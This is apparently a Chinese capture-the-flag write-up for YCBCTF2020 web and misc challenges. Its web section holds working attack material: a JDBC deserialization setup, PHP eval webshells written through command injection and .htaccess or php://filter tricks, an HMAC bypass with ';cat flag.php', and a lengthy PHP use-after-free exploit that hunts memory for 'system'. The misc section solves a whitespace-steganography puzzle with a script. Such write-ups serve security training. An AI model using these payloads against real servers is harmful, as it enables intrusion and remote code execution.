docker源码链接:
https://github.com/k3vin-3/YCBCTF2020
Web部分
考点:源码审计、java反序列化
PS:这道题没整明白,直接给出官方WP
第一步,serialkiller 白名单过滤,构造动态代理触发 JDBC 连接:
DatabaseInfo databaseInfo = new DatabaseInfo();
databaseInfo.setHost("x.x.x.x");
databaseInfo.setPort("x");
databaseInfo.setUsername("root");
databaseInfo.setPassword("root&userSSL=false&autoDeserialize=true&allowPublicKey
Retrieval=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiff
Interceptor");
InfoInvocationHandler infoInvocationHandler = new
InfoInvocationHandler(databaseInfo);
Info info =
(Info)Proxy.newProxyInstance(databaseInfo.getClass().getClassLoader(),
databaseInfo.getClass().getInterfaces(), infoInvocationHandler);
第二步 JDBC 反序列化攻击 apache-commons-collections,可以参考:
https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload,反序列化链构造可以用ysoserial,也可以自己写。 至于给的 pom.xml 有什么用,除了提示 JDBC 反序列化,其次就是说明引进了 commons-collections 依赖,在 maven 仓库中查询 serialkiller,就会发现它引进了 commons-collections。
拿到flag:GWHT{5e97245bd9c98aad7040d461538e9231}
PS:看了这官方WP,还是没明白。。。
考点:一句话木马使用、base64转图片
访问index.php直接提示"eval post cmd"
题目提示eavl post cmd,很明显是一句话木马,蚁剑连接,发现有个文件,里面一长串base64, 少了个头部分,添加以后base64转图片得到flag
或者POST传参cmd=system(“ls -al”);发现当前目录下有文件bbbbbbbbb.txt:
回到页面访问,得到一串base64图片后缀字符串,加上base64头data:image/png;base64,,在URL访问得到图片中显示的flag
拿到flag:GWHT{do__u__kn0w__c@idao}
考点:代码审计、加密解密
访问题目地址
下载音频,用文本打开,文件尾有代码
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
die('谁!竟敢踩我一只耳的尾巴!');
}
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}
echo exec("nc".$_POST['One-ear']);
可以看出大概是将密钥再加密后用来加密输入的命令,进行强等判断,如何绕过关键点就是让环境变量 c l a n d e s t i n e 被 加 密 后 可 控 , 这 里 用 了 密 钥 传 入 数 组 的 方 法 , 加 密 后 ′ ′ 使 clandestine被加密后可控,这里用了密钥传入数组的方法,加密后''使 clandestine被加密后可控,这里用了密钥传入数组的方法,加密后′′使clandestine为一个定值,hash_hmac()函数第二个参数为数组的时候,返回结果为NULL。则 c l a n d e s t i n e 可 控 , clandestine可控, clandestine可控,hh就可以 知道,判断即可绕过。。。
White-cat-monitor[]=1&One-ear=;cat flag.php&Black-CatSheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
拿到flag:GWHT{y0u_mu3t_p@y_atTentiou_!0_lt}
考点:命令执行、绕过字符限制
访问题目地址
方法一:构造payload,结尾要用\处理content中的 \n,不然违背 .htaccess书写格式会导致 Apache 运行崩溃
? content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&f ilename=.htaccess
没有preg_match的waf后就可以通过php://filter伪协议写入一句话
?filename=php://filter/write=convert.base64- decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcG hwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3 BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();
方法二:利用\直接绕过字符限制,读取flag
?filename=.htaccess&content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23\
考点:文件包含、php伪协议
与easyphp类似
访问题目地址
题目地址亮了!!!!
一看就是文件包含,想读源码发现伪协议里面的base64和rot13都被ban了,查了一下官方手册找到一个可以用的转换器或者看看有无robots.txt
还是个这???
利用
http://your ip:port/?file=php://filter/read=convert.quoted-printable-encode/resource=GWHT.php
php://filter/read=convert.quoted-printable-encode/resource
读到的源码
ini_set('max_execution_time', 5);
if ($_COOKIE['pass'] !== getenv('PASS')) {
setcookie('pass', 'PASS');
die(''
.'' .''
.'
'.''
.'404'.''
.'
'.'Sorry, only people from GWHT are allowed to access this website.'.'23333');
}
?>
<h1>A Counter is here, but it has someting wrong</h1>
<form>
<input type="""hidden" value="GWHT.php" name="file">
<textarea style="""border-radius: 1rem;" type="text" name="count" rows=10 cols=50></textarea><br />
<input type="""submit">
</form>
if (isset($_GET["count"])) {
$count = $_GET["count"];
if(preg_match('/;|base64|rot13|base32|base16|<\?php|#/i', $count)){
die('hacker!');
}
echo "The Count is: "
. exec('printf \'' . $count . '\' | wc -c') . "";
}
?>
</body>
</html>
check.php
$pass = "GWHT";
// Cookie password.
echo "Here is nothing, isn't it ?";
header('Location: /');
读到Cookie是GWHT,接下来就是命令执行exec(‘printf ‘’ . $count . ‘’ | wc -c’),exec命令无回显,可以直接写入shell
echo "=eval(\$_POST['shell'])?>" > shell.php ||'
拿到flag:GWHT{Y0U_H4VE_A_BETTER_SK1LL}
考点:触发 UAF
报告者给出的最简触发脚本:
•
class Test {
public stdClass $prop;
}
$rp = new ReflectionProperty(Test::class, 'prop');
$test = new Test;
$test->prop = new stdClass;
var_dump($rp->getType()->getName());
执行之后会发现输出是一个奇怪的东西:
string(8) "
在 new Test 之前先输出一遍,看看原本正常的值:
string(8) "stdClass"
调试一下查看内存,可以看到原本的内存是这样的:
0x7ffff3e01988: 0x0000000600000002 0x0000000000000000
0x7ffff3e01998: 0x0000000000000008 0x7373616c43647473
0x7ffff3e019a8: 0x0000000000000000 0x00007ffff3e01a50
0x7ffff3e019b8: 0x801ae7a49db87483 0x0000000000000008
0x7ffff3e019c8: 0x706d75645f726176 0x0000000000000000
0x7ffff3e019d8: 0x00007ffff3e019b0 0x801ae78c6ce6a006
代表这是一个字符串,引用计数为 2,长度为 8,值为 stdClass。 之后的则是这样的:
0x7ffff3e01988: 0x00007ffff3e019d8 0x0000000000000000
0x7ffff3e01998: 0x0000000000000008 0x7373616c43647473
0x7ffff3e019a8: 0x0000000000000000 0x00007ffff3e01a50
0x7ffff3e019b8: 0x801ae7a49db87483 0x0000000000000008
0x7ffff3e019c8: 0x706d75645f726176 0x0000000000000000
0x7ffff3e019d8: 0x00007ffff3e019b0 0x801ae78c6f29b026
掏出exp
global $abc, $helper;
class Test {
public HelperHelperHelperHelperHelperHelperHelper $prop;
}
class HelperHelperHelperHelperHelperHelperHelper {
public $a, $b;
}
function s2n($str) {
$address = 0;
for ($i=0;$i<4;$i++){
$address <<= 8;
$address |= ord($str[4 + $i]);
}
return $address;
}
function s2b($str, $offset){
return hex2bin(str_pad(dechex(s2n($str) + $offset - 0x10), 8, "0",
STR_PAD_LEFT));
}
function leak($offset) {
global $abc;
$data = "";
for ($i = 0;$i < 8;$i++){
$data .= $abc[$offset + 7 - $i];
}
return $data;
}
function leak2($address) {
global $helper;
write(0x20, $address);
$leak = strlen($helper -> b);
$leak = dechex($leak);
$leak = str_pad($leak, 16, "0", STR_PAD_LEFT);
$leak = hex2bin($leak);
return $leak;
}
function write($offset, $data) {
global $abc;
$data = str_pad($data, 8, "\x00", STR_PAD_LEFT);
for ($i = 0;$i < 8;$i++){
$abc[$offset + $i] = $data[7 - $i];
}
}
function get_basic_funcs($std_object_handlers) {
$prefix = substr($std_object_handlers, 0, 4);
$std_object_handlers = hexdec(bin2hex($std_object_handlers));
$start = $std_object_handlers & 0x00000000fffff000 | 0x0000000000000920; # change
0x920 if finding failed
$NumPrefix = $std_object_handlers & 0x0000ffffff000000;
$NumPrefix = $NumPrefix - 0x0000000001000000;
$funcs = get_defined_functions()['internal'];
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));
if (hexdec($name_addr) > $std_object_handlers || hexdec($name_addr) < $NumPrefix)
{
continue;
}
$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
$name = explode("\x00", $name)[0];
if(in_array($name, $funcs)) {
return [$name, bin2hex($prefix) . str_pad(dechex($addr), 8, "0", STR_PAD_LEFT),
$std_object_handlers, $NumPrefix];
}
}
}
function getSystem($unknown_func) {
$unknown_addr = hex2bin($unknown_func[1]);
$prefix = substr($unknown_addr, 0, 4);
$unknown_addr = hexdec($unknown_func[1]);
$start = $unknown_addr & 0x00000000ffffffff;
for($i = 0;$i < 0x800;$i++) {
$addr = $start - 0x20 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));
if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
$unknown_func[3]) {
continue;
}
$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
if(strstr($name, "system")) {
return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
"0", STR_PAD_LEFT))));
}
}
for($i = 0;$i < 0x800;$i++) {
$addr = $start + 0x20 * $i;
$name_addr = bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10), 8,
"0", STR_PAD_LEFT))));
if (hexdec($name_addr) > $unknown_func[2] || hexdec($name_addr) <
$unknown_func[3]) {
continue;
}
$name_addr = str_pad($name_addr, 16, "0", STR_PAD_LEFT);
$name = strrev(leak2($prefix . s2b(hex2bin($name_addr), 0x00)));
if(strstr($name, "system")) {
return bin2hex(leak2($prefix . hex2bin(str_pad(dechex($addr - 0x10 + 0x08), 8,
"0", STR_PAD_LEFT))));
}
}
}
$rp = new ReflectionProperty(Test::class, 'prop');
$test = new Test;
$test -> prop = new HelperHelperHelperHelperHelperHelperHelper;
$abc = $rp -> getType() -> getName();
$helper = new HelperHelperHelperHelperHelperHelperHelper();
if (strlen($abc) < 1000) {
exit("UAF Failed!");
}
$helper -> a = $helper;
$php_heap = leak(0x10);
$helper -> a = function($x){
};
$std_object_handlers = leak(0x0);
$prefix = substr($php_heap, 0, 4);
echo "Helper Object Address: " . bin2hex($php_heap) . "\n";
echo "std_object_handlers Address: " . bin2hex($std_object_handlers) . "\n";
$closure_object = leak(0x10);
拿到flag:GWHT{478958c82caca09061066f392386a0ea}
考点:代码审计、SSRF本地文件读取、反序列化
看一下有莫有robots.txt
访问star1.php
盲猜是SSRF本地文件读取,还有可能用到反序列化写入webshell,绕过死亡绕过,查看源码,发现ser.php
访问ser.php,源码如下:
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
}
$flag='{Trump_:"fake_news!"}';
class GWHT{
public $hero;
public function __construct(){
$this->hero = new Yasuo;
}
public function __toString(){
if (isset($this->hero)){
return $this->hero->hasaki();
}else{
return "You don't look very happy";
}
}
}
class Yongen{
//flag.php
public $file;
public $text;
public function __construct($file='',$text='') {
$this -> file = $file;
$this -> text = $text;
}
public function hasaki(){
$d = ' die("nononon");?>';
$a= $d. $this->text;
@file_put_contents($this-> file,$a);
}
}
class Yasuo{
public function hasaki(){
return "I'm the best happy windy man";
}
}
/*$c=$_GET['c'];
echo $x=unserialize($c);*/
POP链构造+绕过exit
class GWHT{
public $hero;
}
class Yongen{
//flag.php
public $file = "php://filter/convert.base64-decode/resource=shell.php";
public $text = "aaaPD9waHAgZXZhbCgkX1BPU1Rbc10pOyAgPz4=";
}
$a = new GWHT;
$a->hero = new Yongen;
echo urlencode(serialize($a));
拿到flag:GWHT{it’s_s0000_eaaaaasy_ser}
Misc
考点:lsb隐写、base64
打开是三个压缩包,第一个为破损的压缩包,用010editor打开,修改文件头为图下
然后日记中,只给了张图,那么往图片隐写方面考虑,打开茄子哥那张 图,修改高度为300
根据日记中的描述,先看test 一长串奇怪的字符串,如果扔到谷歌搜索一下,你就会发现是brainfuck,然后就可以扔到在线网站解密:
http://ctf.ssleye.com/brain.html
直接解是不出有效结果的,需要通过观察在前面加一串+++++++才行
看特征可以发现是一串base64 再扔去在线网站解:https://www.qqxiuzi.cn/bianma/base64.htm
从这文件头上来看,这很可能是一个elf文件 进入Linux,使用base64命令,将解码结果通过标准输出重定向导出一个elf 运行之:
提示 mp3可能有lsb隐写术??
解wav的lsb隐写,使用silenteye工具
解出来发现下一个日记的压缩包密码是:This1sThe3rdZIPpwd
按照日记的提示,flag信息应该是被最后隐藏在代码中的,但这个 sourc_code文件足足有50多m,一个个看显然不现实 这里可以通过筛选修改日期或者直接写规则扫描的脚本,定位到三个源代码文件: elf/rtld.c、malloc/malloc.c、malloc/arena.c 可以发现,这三个源代码是看不出东西来的
除非你刚刚好用了sublime来看代码(或者其他能明显标记出空格和\t 的IDE),并且刚刚好又全选了所 有代码,你会发现,这三个文件都有 这样的特点:
在}的后面,都跟了这样的一串东西,是不是很像摩斯码,但其实不是摩斯密码,是空格和\t组成的字符 串,而且}后面每次都是跟8个字符 这样就不难想到了,这是一个二进制表达方式,\t代表1,空格代表0 然后写个python脚本,逐个扫一遍 elf/rtld.c、malloc/malloc.c、malloc/arena.c
def check(buf):
ptr=buf.find("}")
end=buf.find("\n")
flag=0
for x in range(ptr+1,end):
if (buf[x]=='\t') or (buf[x]==' '):
flag+=1
else:
return 0
if flag==8:
return 1
else:
return 0
def read_code(fname):
f = open(fname, "r")
data = f.readlines()
f.close()
bin_str=""
result=""
for i in range(len(data)):
if ("}" in data[i]) and ("\n" in data[i]) and check(data[i]):
print data[i]
ptr=data[i].find("}")+1
print ord(data[i][ptr])
if data[i][ptr]=='\t':
bin_str+="1"
#if data[i][ptr]==' ':
#bin_str+="0"
for x in range(8):
if data[i][ptr+x]=='\t':
bin_str+="1"
if data[i][ptr+x]==' ':
bin_str+="0"
#print bin_str
result+=chr(int(bin_str,2))
#print result
bin_str=""
print result
read_code("rtld.c")
read_code("arena.c")
read_code("malloc.c")
可以看到这样就出flag
拿到flag:GWCTF{code_steganography_is_funny!}
未完待续。。。